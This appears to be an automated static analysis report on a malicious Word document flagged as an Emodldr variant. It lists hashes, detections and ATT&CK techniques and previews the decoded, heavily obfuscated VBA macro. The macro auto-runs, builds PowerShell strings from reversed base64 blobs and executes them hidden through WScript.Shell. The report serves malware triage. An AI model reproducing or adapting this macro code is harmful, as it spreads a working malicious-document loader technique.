Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01c2c99ddb5d7c39…

MALICIOUS

Office (OLE)

151.5 KB Created: 2018-03-16 17:58:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 13138424c903bec79dbc69aa8abca7e8 SHA-1: 742f5f45d7d5e3e262b311cc3a4015218267f4d7 SHA-256: 01c2c99ddb5d7c3982100551b68beebdd787d8746d7c54883d0641e6e30701ec
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, commonly used for executing commands or downloading payloads. The AutoOpen macro suggests an immediate execution upon opening. The ClamAV detection further confirms its malicious nature, likely an Emodldr variant.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          inGwm = cjCYa / HasjWR
      QqVbapiOEmQ = "WScript.Shell"
      wDlwcQ = lYGsD + NpqdFP
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          HNbXih = SuMmIr + pAirw
CreateObject(QqVbapiOEmQ).Run bjljUuusPuqO + Chr(VBA.vbKeyC) + iUCVHNiwILLc + miADK + MDLlFtui, vbHide
      ftzan = Hex(BXbsCn / Int(74296))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "HwoOOqmkdC"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37035 bytes
SHA-256: 3000da3b147b0d78b1c946880b2b712b618fdd7c46e467382d94c7cbf73da9d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
725 of 1168 identifiers look randomly generated (e.g. 'iBAzAQOAEGAmBQNAEGA4AgYAADAjBgZAQDAhBgYA') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wOizjOiHtnfw"
Function DNfoCDSEkvHj()
On Error Resume Next
      hEhWau = Hex(jcuzP / Int(13084))
      jGvCUv = wDvPsw / VtqJV
      FQDGbj = HssjT + Hlqjj
TsiXGjnkY = sUvRj("tpVAlBwNAYGA4AQNAEDAmBQYAMG1.Ba", 5 + 0, 24 + 0)
      AziBl = Hex(iwBKi / Int(8410))
      tiZSDo = knfGKM / drkfJG
      UdWPR = tnHzJo + ZkhTnv
      OoQMfD = Hex(IjCqH / Int(40966))
      YYODk = dnsia / ShtTkJ
      kFtUT = EOCOww + fbuSw
UovwYv = sUvRj("n7BdANAYGA1AQMAcDAlBwYAgDAhBQNAYGA4AAOE", 2 + 0, 33 + 0)
      IuObwm = Hex(plqPNR / Int(62891))
      lNfEuO = paZvhX / qmbXJ
      NViwi = zTYmBf + DuOPN
      rusmwp = Hex(shBmw / Int(82386))
      iwGUj = LrYJHo / rNcpw
      uAtFfr = QsFta + pFlLB
wWCnSYWZY = sUvRj("vB4z1ANAUGAmBgNAQDA1AANAMGA3AQMAQDAmBAMAYDAxAQZAcDAwAAZAkDAxAAMAcDAyAwMAADAyAwMAQGAmBQOAQDAkBQNAUGA1AAZAgDA2AAZAEGAhBAMAUGAwAwz", 2 + 0, 121 + 0)
      zFbAW = Hex(fHSViE / Int(22716))
      VwVota = ZjTlii / zRGCai
      VTzXW = jrvNB + mzskwS
      TSsHU = Hex(tvnrS / Int(59033))
      zToRJD = QzZWcs / iqzwcs
      jRwZjU = JUJBZ + iGUjI
zHBnHhr = sUvRj("f87WuOlZAIDAhBAOAkDA0AAMAYGAyAQNAMDAmBAZAUGAkBwYAMDAjBQMAQGAjBANAQDA0AQMAADA4L", 2 + 0, 70 + 0)
      AlUtVf = Hex(RPFqvq / Int(72673))
      TBrscj = HfPVCn / XWNot
      ILYbtE = kDiOL + LKEcrf
      GhzsvT = Hex(CsicB / Int(49954))
      DhPkA = GUjuK / cTSrV
      zpJto = uwMtfG + wcGDDT
OMCQCVroS = sUvRj("fTC.SeCIVrespoReTnI.emITnuR[ (iSnaGnIRtSoTRtp::]laHsRAm.SEcIVRespOreTNi.eMITnuR[(%Ld", 4 + 0, 78 + 0)
      hIXlB = Hex(ikrhk / Int(2992))
      QDkCK = ipEoNp / PNiWQ
      XPdpS = rjDKF + JiuOss
      CQrWO = Hex(PLhaqP / Int(85521))
      ESNVMA = SDkzhT / CznmQ
      XjYOQ = qaPPH + KzLikS
mtCfwlMa = sUvRj("nES3,kKQYAQDAxAgZAcDAyAAMAcDAyAANAUGA4AQYAMGAyAwYAUGAxAQMAkDAlBQMAMDAyAANAYDA3AgMAIDi", 2 + 0, 77 + 0)
      JPkMGZ = Hex(drIimE / Int(97528))
      YUuwE = KNCoc / XVMXO
      GGFmX = pjiwS + cDznYr
      rusrNH = Hex(UwNJbi / Int(1852))
      PTwrl = wzOIjX / iVIGu
      lwUwt = NjYMB + TpuHRQ
diwobilbI = sUvRj("itKLOAMGAwAgZAIGAhBwMAIDA2AgYAUGA3AANAYGA5AwMAYGAjBQOAEDAhBtp", 3 + 0, 55 + 0)
      NGvudj = Hex(kzmbED / Int(63637))
      PQuWC = YwXnNZ / iHaEr
      jLqDr = PUPzz + zBHZd
      jYJwG = Hex(cElAj / Int(32683))
      lFWBIN = XCiKz / TbTwY
      mOKls = tzjhp + zpzquP
vUtliRd = sUvRj("Z74tnNAUDA5AwMAMDAmBAOAkDA5AANAQDA3AgNAQDAmBQOAEGAwAgZAYDAmBgNAUDA2AQNAgDA2AwNAADapON", 5 + 0, 76 + 0)
      lzsph = Hex(wwkwAl / Int(78014))
      XilaTd = PPZpMu / IXchD
      nMuYdq = LIzfwB + ZLMQa
      HmnmbL = Hex(nfiFT / Int(47030))
      KtKRC = JCUAb / ctUCA
      ujTOfK = UDjta + uaXrP
TjSiXjPEO = sUvRj("VqKYAYGA1AwYAQGA5AQYAUDAjBAZAMDA2AQYAEDAlBQOAUDA3AANAkDAiBgNAEGAlBANAcDAwAQYAQDAjBAMAADA0AAZAEDAzAgZAYDAzAwNAUGAlBQYAM3G6", 5 + 0, 114 + 0)
      zLVZF = Hex(mKSjR / Int(36087))
      iNYsCw = zrhwc / twhjF
      ECChZ = OwszH + mNQwpV
      cwaWbS = Hex(LpoPBc / Int(98503))
      ECMXCZ = rcMzX / rNQoT
      jZWLUN = LrWSD + hcdrun
fYQawBrj = sUvRj("SiSKwAtpyEk- gNiRTsEruCES-OTTREvNOc| '==AA4AAMAgDAwAgZAkDAwAQYAYDAxAAMAIDA5AwYAkDA4AAOAADA0AAO", 2 + 0, 85 + 0)
      FGFzJ = Hex(uYUcXa / Int(66017))
      SQirrJ = OiVKJz / dOVWBz
      aUYBqS = rPzrVJ + LuzCd
      npcfm = Hex(XzDkF / Int(1583))
      MSkAZk = PrXkY / ZQRItb
      KWLKc = HqUHEX + DXPQbl
XzPdt = sUvRj("JfFAIGA0AAZAUDAlBwMAQDA0AgNAMDAjBwYAcDA0AQOAIDAlBAZAUDA5AwNAQDAkBQZAIGAkBwMAcDAmBQNAYGAkBAOAQGA4AAMAgDA5AAZAEDA3AQOAQDAiBQYAYG,V4BYs", 7 + 0, 123 + 0)
      pJwSr = Hex(njHiv / Int(81733))
      wYqGZY = civjTM / vCAAhH
      OAZtT = tbjmL + uhijJ
      SuwCT = Hex(aalML / Int(11453))
      ZfWDpf = BcIap / hOLFX
      MiSEu = vCNSan + CWzEz
ujHPIni = sUvRj("GuA2LANAMGAxAgZAIGA5AQYAkDA2AQNAQDAwAQO2", 2 + 0, 34 + 0)
      nHiQp = Hex(XNHVLO / Int(61366))
      stPHac = tcLjB / MmpjK
      fjLiO = SWQnhC + uwVIG
      jAIbM = Hex(CjijJi / Int(78115))
      vFhIG = tnDfza / mBlTQU
      EkAYU = SPDIL + fNGqmi
oPOzjjmBnar = sUvRj("SRzWtDA1AQOAQDA1AQNAQDA1AQYAEGAzAgMAMGA2AAOAgDA3AAMAQDAyAAMAADAyAgYAYGAmBwYAUGAwAwYAYGAxAQZAcDA1AQNAUGA4AANAIDAhBANAIDA4AANAUGA1AQOAgDAlBAZAEGAzAQOAQGAjBANAADAyAAMAcDA2AgZAMGAyAQOAUDq", 2 + 0, 177 + 0)
      EZwwd = Hex(lwQftP / Int(87237))
      QwKFI = nXijuT / vQfLz
      QQzInX = iUCjKt + SPRwk
      ZMhEi = Hex(mLihV / Int(19898))
      EBLZD = jEjiE / VrbQQ
      lmircL = ViOwY + MrWVlN
bjQpIdF = sUvRj("odqpZAAOAMGA0AQOAADAxAQOAQGAhBgNAgDA0AgZAEGAmBQYAIDAjBQMAkDAiBQNAEDA2AgMAIDAjBQYAEDAkBQMAcDAiBQNAgDAmBgMAYGAiBgMAdo", 3 + 0, 108 + 0)
      IjCPpd = Hex(qJRKvO / Int(92786))
      XoMZAT = dUHKGr / zVqCj
      BkSBwi = MNEAK + cThIMN
      pwUGT = Hex(jzWOWW / Int(12798))
      rtDwE = KrfbhK / tCMvEv
      HnaHk = kBIhzs + RzLNSj
LhIzwrDf = sUvRj("liTGAwAAMAUGAwAANAADA5AQZAIDAwAQYAMGA1AgYAkDAhBANAEDA1AwMAQGAlBQZAUDAiBwMAUGA0AgMAUDAyAQNAwHA9Aavmzp", 6 + 0, 92 + 0)
      AwTtYJ = Hex(nwJTR / Int(51611))
      JDSvN = BJjwb / ZRtrzd
      zzJUh = bczEwN + SfIwsR
      dzFjUN = Hex(FAGwNJ / Int(66133))
      BkqcG = GWPQt / AqGsKF
      KbBdnr = hsfiV + iUmMP
lJUJbn = sUvRj("KJagZAUDA3AgYAIDA1AAOAIGAiBwMAkDA4AwMAYGAiBANAUDAjBQOAIDAhBAOAYDAiBAZAQDAmBAZAUGAyAQOAMDAmBQMAADAjBwYAcDA0AAZAIGAwAgYAgDA0AgYAUGAhBgNAYDAhBAZAIDA1AQYAQGAzAgYAQGAmBAOAMGAwAAMAcDA3AANAEGAwAAuLzs", 5 + 0, 185 + 0)
      LnXaq = Hex(bbvPu / Int(25848))
      IWXuzG = lkdNr / ufHfDt
      KtzmAL = MPaSz + wNrGa
      JaZAES = Hex(PjRfYS / Int(58375))
      AzsiFi = GdzMjO / AoMCNz
      URtbUI = rnnci + fwoaY
CSTuOHX = sUvRj("qJiMfXeI| ) ) ) )521,471,151,091,92,89,091,981,641,13,791,05,021,811,1,052  A", 2 + 0, 71 + 0)
      NTwCs = Hex(cbicSV / Int(9494))
      AjhwGl = oPpKj / qICAm
      FmaXPA = sjZOUS + EXzQp
      iQnjU = Hex(oTOwZ / Int(11920))
      fXtYn = AUacu / vwCjAG
      loCiK = wqFww + FWjNX
XTfsvW = sUvRj("fPOsVDA5AgMAYGA2AQOAIDA2AgMAQDAiBQZAEDA1AAMAkDAjBgNAkDAzAQOAYDAzAwMAEDAmBgZAADAiBQZAQGAhBQYAcDAwAgZAMDAyAgMAQDAmBAMAYGA5AQYAMGAwAgZAUDAmBgZAQDAwAgZAMDAlBQZAYDA2AgNAQGAxAgMAYDAwAwNAIDA5AwMAcDAxAANAEDAw", 2 + 0, 194 + 0)
      jzaWu = Hex(oszYW / Int(71815))
      NrGUfc = iVoLvW / bpMMjf
      UHrPt = uRCaUT + kJwCE
      AtIMo = Hex(IaRzFn / Int(8877))
      lBnIsF = IkwjC / aKpzMm
      mCEPQ = zwRrhd + mcCPr
sroJRAll = sUvRj("G2QYAUGA0AgMAEDAwAwNAQGAyAwNAYGA4AwYAIGAiBAZAMDA2AAZAMGA0AQZAEDA5AgNAYGAiBQNAQDAxAgRo,Kwzb", 8 + 0, 81 + 0)
      IksIL = Hex(lJiQcA / Int(84789))
      zrjwX = zFaqtP / rAzIZ
      uiWut = jfjRip + pcOusG
      cpIQNG = Hex(VpHCzd / Int(35645))
      LusPb = TYzVS / VJauo
      WLMHBm = mhbvd + rWwkS
nipinzEsG = sUvRj("TJPHQ rEDAhBQZAMDAkBgNAIGAmBQZAYDAyAwMAgDA1AgNAIDA4AwYAYDAwAgZAkDAjBgMAUDA5AAOAkDAxAQZAEGAzAQYAUDAwAQNAkDA5AAMAADAiBgYAYGAwAQMAgDAzAgYAYDAkBAMAYGA3AANAkDAkBp", 2 + 0, 149 + 0)
      ziiIR = Hex(vvzNM / Int(29559))
      NCGHN = tFIoV / dWPakY
      HjrSs = vwGrH + VMiPD
      zTHiTL = Hex(NrKfSa / Int(77500))
      rSKXR = kPCbzM / Erwjnc
      YMsqG = ZAcvpL + PdLjc
FDcoojbQm = sUvRj("ESNqdQMAcDAjBAMAEGAjBQOAEGAxAQYAcDA1AQYAQGAiBQMAkDAjBgNAEDA4AwYAIGA3D", 2 + 0, 63 + 0)
      jPEFDU = Hex(JIzNvf / Int(95874))
      pfaURj = jnHlo / TbfMH
      wqUHp = HZQBO + KNXZzl
      QPMGta = Hex(ALvlP / Int(7254))
      Fsftjb = MSjlI / hIKTjt
      oJpLII = zjvFpE + zjYzZ
XMcRK = sUvRj("uLi2h3FqzAwYAMGw", 2 + 0, 7 + 0)
      SDzfVl = Hex(lrBcBV / Int(8142))
      vDTkXm = jWbvD / kclTKC
      kMJqXU = FfSET + ICdEO
      qAwoL = Hex(rhVlt / Int(19310))
      abOPED = drrPY / MWiaj
      fjmtW = QdHnUj + WWDNEA
CLFic = sUvRj("iBAzAQOAEGAmBQNAEGA4AgYAADAjBgZAQDAhBgYAkDAxAQYAMGA1AQNAUGA3AgYAMGAzAwMAkDAmBwYAIDAyAgMAEDAhViLf@S", 7 + 0, 90 + 0)
      zYrzJh = Hex(rLVzv / Int(10122))
      iunhsU = aBpWHm / wJIdZ
      GGonk = fYSmoY + qsbPfL
      TpPKYl = Hex(qhuBlp / Int(4111))
      vJDnPc = jKtMIH / PamMfA
      SwRnZ = TkWOO + dotYC
wWWZIJnLtB = sUvRj("Q7mONKAiBwYAMGAmBAZAEGAiBQMAIGAyAwNAgDAkBANAUGAwAAOAIDA0AQMAMDAwAQNAQDAjBQOAIDA0AQOAMDAhBgNAkDAwRo4", 4 + 0, 90 + 0)
      LiIEQM = Hex(kARTPZ / Int(20013))
      EdLmA = MRwniz / dBWCkd
      RQNhE = oPBQH + ETYLhm
      sUTfJh = Hex(vikTu / Int(69769))
      VsQzY = zRAfH / wfirAB
      VLsYXs = iAsjiO + rbSFl
oFrllviUj = sUvRj("oVFEDTAAMAUDA3AAZAYGA3AAOAcDAmBwNAUGAmBwMAkDAhBAZAIGA0AAMAYDAmBwMAEGAyAQZAkDAwAQOAUGAyAAMAgDA5AQZAgDAwAQMAIDAlBgMAUGA3AwMAMDA5AgYAMGAmBwMAkDAzAwM", 2 + 0, 138 + 0)
      GibTo = Hex(KkXNn / Int(69541))
      QOwdU = FZdwZQ / sbEEPm
      pXnkY = ziNLnF + QwIsww
      iirZX = Hex(ZUQlro / Int(71152))
      MDHZci = CkhiiO / KctPFK
      LXslz = DQATwf + AcTLwQ
UbXWIwpCFwG = sUvRj("tiBv3wBAZAkDAyAgMAEGA5AANAQGAxAANAMDA3AwMAUGAkBAZAUGAlBgZAYGAmBANAEDAzAwYAMGA5AANAQGAzAgNAMGA2AgYAMGLs", 3 + 0, 94 + 0)
      czKqoP = Hex(Knscja / Int(64036))
      fOnfw = lkNmDb / iJhTpT
      NNCwi = scHrNF + AwEXQ
      TJfoGA = Hex(QHMdhF / Int(48172))
      OpTXdt = Ywauu / cbdBS
      MZFmYn = TjNXZT + hXNvHX
tmMtz = sUvRj("J2DAwAwYAcDAyAAZAMGAzAwNAEDA0AQNAQDAkBAZAMDAwAQNAEDAiBAZAkDA5AQOAYDA1AAZAIGAzAwNAQDA3AgMAUDA0AQNAQDAxAgNAUDAWJdzO", 6 + 0, 106 + 0)
      tliOLF = Hex(ofjcP / Int(33036))
      XICvk = apLZAb / jEOit
      HSnXYM = fiEivK + QJOKz
      GJEBw = Hex(RAjiA / Int(23592))
      RClqu = ioQFE / aKAhio
      FLKJW = UoNWi + zinBJ
vpPNTuuUa = sUvRj("4tunzvgZAgDAxAQOAcDA2AwMAIGA4AgNAUGAiBgNAEDA3AANAIDAzAgZAMGAwAwNAkDAzAgNAEGAkBAZAcDAzAgMAYDA0AAZAYDA0AgMAMDA2AQOAQDAwAgZAADAzAgMAYDAwAwYAIf4", 3 + 0, 132 + 0)
      SmApf = Hex(EzCYsR / Int(35430))
      pzGMGt = iajUR / vFRmJr
      PCDPj = FWFvw + DjUCbb
      MXqQHV = Hex(ARGtu / Int(10923))
      HzoXK = zUOPka / tZsvnw
      hklwAL = whunw + KLwQjj
nDBEaBDQim = sUvRj("BvJwAgYAEGA1AgMAIGAzAgZAIDAyAAOAMGAmBgYAEDAyAgZAEDAwAgMAcDA1AQYAIGAxAQNAADAmBQMAkDA0AQZAADA5AgYAMDA1AgYAADA5AAOAMGAiBgZAYGAxAgZAYGAyAANAYfvqRNU", 7 + 0, 134 + 0)
      zsIaf = Hex(mdbZKG / Int(93541))
      iWNqW = nAmUco / XiabPD
      opcKSU = iVIjj + XcokZJ
      JUwRz = Hex(LwIzw / Int(18549))
      UHlIYu = lKOztw / YppFh
      zKHGlE = JDBwt + sSCUiX
DDKLa = sUvRj("w.L@zGAxAwNAQGA3AAZAUGA5AwMAMGA0AANAEGAkBQNAQDAhBgZAUDA3AQZAEDAxAwYAgDAmBgMAIDAmBAMAQDA0AAZAQDAzAgYAADA2AQMAQDA0AQNAIGAhBwNAUGAlBAMAYGA3AAOAgDA4AAOAIGA3AAOAMGAlBANAUDA1ApGZ", 4 + 0, 164 + 0)
      ijzFwY = Hex(NmITtP / Int(35858))
      KAiXT = ihISDS / oWVGh
      MTLBI = FzWui + iIrIC
      fkJEA = Hex(CjEaJ / Int(15682))
      WPLvo = VJCrrK / dJwDHE
      ziTKv = vpiMwL + ZXjwWu
hwzXdTTQOU = sUvRj("OF2YkovCA3AwYAYDAyAQOAMGAjBQZAIGAxAAZAIDAkBwNAUGAhBgNAMDAwAQNAEGA4AQYAEDAzAQNAEGAwAAMAYDA3AQYAQGA0AQMAYDAwAgMAEGAxAAMAMDA2AAMAEGA2AgYAYDAkBwMAEGA3AAMAIDA5AQZAYDAzAQNAEDAmBgZAYGAms", 2 + 0, 170 + 0)
      XDcsR = Hex(QkthBS / Int(9113))
      GrwBzz = jiqujW / FcCjN
      muBatA = LwzKi + oSjku
      szWHGE = Hex(prjFk / Int(67269))
      Vlzkof = wwmFa / uinqK
      QWmCM = BbRpcl + WwCZoO
aTYbMtzifOR = sUvRj("qOpFFqA2AwMAEGAwAgNAgDA3AwYAMDAhBQOAMDAhBANAEGAzAQNAYDA0AQYAMGA2AgZAADAkBQOAcDA@", 2 + 0, 73 + 0)
      KRwDjC = Hex(wUKEsu / Int(35858))
      GiilI = DrGUBc / KsEwc
      HzajSK = DGGljq + EqTrD
      uwjqrU = Hex(jpShS / Int(28981))
      EnTco = iRCLbt / cIWYJp
      PVtlDk = GdfqqM + wFpRf
JiFYtWI = sUvRj("7IuKAYGAwAQijt3", 5 + 0, 7 + 0)
      LdwVP = Hex(YpaTuX / Int(54457))
      titiZ = zcnWU / jmdDjG
      XfmYYV = LBfKl + OoQPL
      zWfTI = Hex(FnaMzN / Int(14049))
      doTkK = JXjPHq / JYkKzw
      sYtOLz = BZwbD + cklWOl
FrbKXKu = sUvRj("fk,dLAzAgNAQDA0AgZAYGAkBQYAIGAzAwYAEGA0AQMAMDAxAgZAYGAhBQNAMGAyAAOAUGA0AwMAUDAjBgZAUDA1AgMAMDA3AAMAADA0AwYAUDAyAgNAADA3AwNAQDA5AQZAIGAkBwNAADA1AAMp", 3 + 0, 140 + 0)
      AZpPLS = Hex(vPqCz / Int(29154))
      JFuEZ = bIwko / wAZnN
      OWuSid = tmMmi + dofTiq
      tWPAtO = Hex(EzYLJ / Int(1702))
      UEFlX = zskfjN / EazNfa
      AZzbPK = FzNLB + BWvXq
NbfYhjHjw = sUvRj("tvaJ%wAwAAOAUGAkBQOAIDAhBQOAgDAlBAMAYDAjBgMAYDA5AAZAcDA4AwMAUDA0AQNAADAzAQMAEDA1AwMAADAhBwMAIGA3AQMAIDAkBAZAUDA2AwNAcDA2AgZAIGA0AgMAADAzAQOAADA0AAMAgq", 2 + 0, 143 + 0)
      wBAlj = Hex(fiBdB / Int(20034))
      iKPuFi = NXrvX / fzjif
      XXcoz = PHjfHb + DfSElb
      WjpEkw = Hex(liDRzM / Int(56354))
      oLXRpk = fZrRnc / ZhsGr
      oKRwPk = bqJcZ + aUjLN
tWsDaaIJS = sUvRj("v7vAgDAmBQNAYGA0AQNAMGAiBQMAADA2AwYAgDA1AgMAQDAjBQMAEGAiBgYAcDAmBQNAQDAkBAMAEGAjBANAYGA2AQNAYGA4AwMAgDAzAwMAgDA4AAZAIGA2AAOAk8knWE2", 7 + 0, 122 + 0)
      FjAQN = Hex(IwRFW / Int(48586))
      Ufzitb = EcLpP / sUCAp
      fqmOn = EdGlqW + jiFoc
      bjrhv = Hex(cLhDqA / Int(31277))
      HFzBB = PFoYoO / TTqFO
      wvmNT = oQhCli + XAOAS
jIjBFYYh = sUvRj("OoKpc5AQYAQGA0AQZAYDAhBwMAEGAzAwMAUDAzAAOAADA0AAMAgDA5AQZAEDA2AAZAIGA1AANAIGAhBgMAADAjLRo", 4 + 0, 80 + 0)
      ZoKWr = Hex(sjTJr / Int(82465))
      ctTNVr = MMTiCD / XrIFTX
      oSmYuv = IVHqLn + YDmtI
      WkUZwk = Hex(JawhdB / Int(31773))
      twvuG = bchrjQ / KFHUD
      ANzmq = owJir + UlOzO
QzqSrrww = sUvRj("vMAAOAYDAiBQOAYDA2AgNAkDA5AgYAgDAwAQZAIDAwAgZAUDAmBQOAIDAjBQYAEDAhBQZAIGA0AQYAYDA1AQMAIDA1AAZAADA3AQMAcDAwASN4Q", 5 + 0, 105 + 0)
      SEmuIn = Hex(NUKwVr / Int(25275))
      hPMvL = jSrSz / oPfHLq
      BziGE = EcrdA + nicnVC
      stMLfM = Hex(vzoOdV / Int(94105))
      JowIqr = ZPijv / iIXbj
      VZpch = rALEia + CuXhip
tztjFkficQ = sUvRj("%KBQNAMDA2AQZAEGAlBAOAUGA1AANAgDAxAAMAQGAkBAZAMDA3AAOAgDAhBAMAMGAmBwNAgDA5AwNAEGAxAgYAQDAmBANAUDAhBwYAEDAzAQNAYGA5AAOAIDA2AQOAEDAyAQNAADzNfi", 5 + 0, 134 + 0)
      zUTwcw = Hex(ARpQm / Int(88041))
      bSTMP = wrNVh / EtfGa
      lvSBGs = iSqiVn + hZabDV
      wirMm = Hex(kVqsqR / Int(79480))
      wkNXK = tzkZoC / zHPpP
      KiZuv = PftoBY + cjNUSV
OdlXow = sUvRj("UF7QOAQGA1AANAUDA1AQOAkDAhBgMAYDAyAAZAQDAjBAMAMDAjBANAIDAyAwYAEGAzAgNAQDAhBAZAYDAyAANAMDA5AQNAYDAhBwMAMDAjBQZAIGA5AAZAcDA1AAMAkDAjBgYAEDA4AQYAcDA0AQNAZSVj5", 6 + 0, 147 + 0)
      CKAwS = Hex(kVnOa / Int(4838))
      wivWqR = uwzJiA / afjnz
      zRAda = XLtsfO + zpwnqi
      zSOIS = Hex(CHXzsq / Int(2511))
      Qwpdw = SGcnGL / pjpJNN
      VibnO = IaaNZo + jCpqH
fJJopAQ = sUvRj("0osR4dEAgMAgDAwAQZAUDAmBAMAUDA1AQMAQGA0AgYAMGAlBQMAIGA5AgYAYDA4AAMAcDAjB4", 2 + 0, 65 + 0)
      Dzqpb = Hex(GFMbh / Int(76886))
      drqlXC = OjrjP / RHrmr
      BGJMip = kIdwz + ZuLNtR
      hlRwVO = Hex(cCwMLR / Int(99594))
      oUGzsw = qTEBRE / JLMKqo
      FrmYl = iwTuzF + iJEjfu
FzPztmBdvP = sUvRj("38,DAiBgMAMGA3AANAQGA0AgNAgDA2AQOAMGAlBQNAgDA1AAMAUGAwAgYAEGAlBwMAQDA4AwYAQDAmBQOAYGAlBwMAUDA0AQYAYGAkBwMAgDAiBAOAADAhBgMAUDAv8s@", 5 + 0, 122 + 0)
      vzsTw = Hex(ptlAA / Int(51543))
      UidTb = CvrAK / MYEzG
      fvlOHz = cNEpN + tWtMA
      bvvRM = Hex(HfdJwj / Int(81749))
      zFfPlT = JcltzU / bmUZEN
      YKHqm = wQrcjb + ShBMXa
JGHvbK = sUvRj("qfBQYAkDAlBgZAUGA1AgMAUDA3AQMAMGAkBAZAkDAmBwMAgDAjBANAMDA1AQOAQDAxAgMAIDAwAQZAJ7Mf", 5 + 0, 76 + 0)
      RTKXNd = Hex(DqpXfc / Int(47836))
      vYYzUh = kIMYbI / lHBdhw
      AjdIS = aCFBwU + mdnYGz
      OSKWMv = Hex(TcuSU / Int(33071))
      zYZLm = YGqWps / wYlzz
      Kljps = MldlwL + jcvrhX
CdKcGYp = sUvRj("7wnvAwMAEqOQs", 5 + 0, 5 + 0)
      TYHbo = Hex(UZUurv / Int(41112))
      GlTjj = azuVsK / ItAhDb
      rldEBM = mRiuD + idqcHB
      jrUGXw = Hex(TLAVz / Int(51477))
      qibOGX = BhVulS / RTOpVZ
      ZrnmX = KkmQo + QWmSwl
ZYWAXrZ = sUvRj("qm7iR1AQNAUDAlBAOAgDA3AANAYDA3AwNAYDA2AQOAIDA1AgYAQDA4AQZAEGA1AAMAEGAjBAZAYGA0AwMAcDA0AAZAQGAiBwNAkDA1AAZAYGAiBwMAIDAlBQMAMDAzAQYAQDAzAQYAkDA2AAZAADA1AwMAMGAzAQYAkDA5AQZAQGAkBAMAEDA1v", 2 + 0, 177 + 0)
      EhJwMl = Hex(ZBrlfi / Int(2441))
      QnobiN = RvEFB / afBRD
      UXQsaA = jIsAkJ + oFziVD
      tXWNM = Hex(PcPbGC / Int(73577))
      EPhZJ = BFujJf / DoHIX
      oDFVGM = DlPPMU + fvhQWj
XtptBqq = sUvRj("BpOAUGAyAQMAQGA4AQOAYGAyAQMAgDAjBAMAIGA5AgNAYDAjBgZAQGA0AwMAMGAmBgYAgDA2AQOAMDA2AQYAIGAkBAZAYDA1AQOAUDA0AAMAYGAxAgMAQDA0AQZAEDA3AgYAgDA5AAOAQDAlBQMAMGAlBAZ@iijB4", 7 + 0, 153 + 0)
      YncnE = Hex(NLoISi / Int(36843))
      HwtbMh = PqfWop / IHqloX
      PdiBf = rzHwi + sXzno
      totcQA = Hex(SIhmmi / Int(82610))
      zEuQER = JsmuEa / bRkGn
      ZiFvrV = RuHSJV + FDuJUX
pZcwQnnKq = sUvRj("TpODAhBQMAADAkBwMAgDAwm7tfC", 6 + 0, 19 + 0)
      fBqWv = Hex(HjQCf / Int(91070))
      OQzwZ = VbOlUl / zFXWal
      iuhPZ = DokiEm + ONpEv
      tOzDqn = Hex(sJzFiv / Int(83759))
      ziGas = AmTqw / ZEodl
      JcUhf = aLmcoM + zarrj
saEDUuKp = sUvRj("wW.UMO5AwYAkDAhBwYAADAyAgZAYDAkBwNAEDAyAwNAYGAwAgZAYGA1AQNAUDAkBAZAYGAxuz", 3 + 0, 65 + 0)
      KAptbf = Hex(rWGoV / Int(43561))
      VlPEQ = JzhTX / GmBqhN
      tbNUi = BSFEFw + StiLK
      wmtnV = Hex(wYqMiv / Int(5101))
      bbuAC = GQQUQZ / kAdZL
      IfYDku = EjHzsE + MLQQaM
TPVmPk = sUvRj("MwADAzAgYAEDAwAAOAYDA2AgYAkDAlBQYAIDA0AAOAYGAwAgNAYDA5AANAcDAlBAOAMGAlBgMAMDAiBgMAYDAhBQOAYGAzAANAQDA0AgMAIDA5AQYAYGAjBQMAIDAmB,Qut", 5 + 0, 125 + 0)
      OfWZX = Hex(tMYNmT / Int(39059))
      mDXKGG = aJRbLd / YjMzzE
      ACiNwC = HtNZkC + IsGTF
      zWizGX = Hex(JrwTsv / Int(72879))
      wmRoN = VzSifK / DnOjzj
      kWzdT = NFzoh + GiGZdn
